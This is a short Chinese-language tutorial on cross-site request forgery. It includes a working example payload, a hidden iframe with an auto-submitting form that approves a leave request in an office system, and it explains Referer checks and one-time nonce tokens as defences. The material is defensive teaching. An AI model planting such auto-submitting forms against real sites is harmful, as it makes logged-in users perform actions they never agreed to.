CSRF

开发相关的网络攻击及防范

CSRF

- 跨站请求伪造
- Cross Site Request Forgery
- One click attack
- session ridding
- CSRF / XSRF

例子

审批：

POST: http://oa.server/oa/approval

id：54321

comment：同意

在公司OA系统请假

```
<iframe src="about:blank" width="0" height="0"
id="hiddeniframe">
<form id="csrfform" target="hiddeniframe" method="POST"
action="http://oa.server/oa/approval">
<input type="hidden" name="id" value="54321">
<input type="hidden" name="comment" value="同意">
</form>
<script>
document.getElementById("csrfform").submit();
</script>
```

特点

- 不需要代码注入
- 被攻击的用户需要实现登录过，并且未退出受攻击的网站
- 以被攻击用户的身份执行操作
- 服务器/用户较难发现此类攻击
- 不容易找到发起攻击的源头

预防措施

- 检查request header referer

Https —> http 浏览器一般不传递referer

- 给表单增加一个唯一的id (nonceid)，仅可用一次，并校验合法性

```
<form method=“POST” action=“http://oa.server/oa/approval">
    <input type=“hidden” name=“id” value=“54321”>
    <textarea name=“comment” ></textarea>
    <input type=“hidden” id=“nonceid” value=“d296ae21-c5fe-11e8-acf2-10ddb1d4e7ac”>
     <input type=“submit” value=“ 批准”>
</form>
```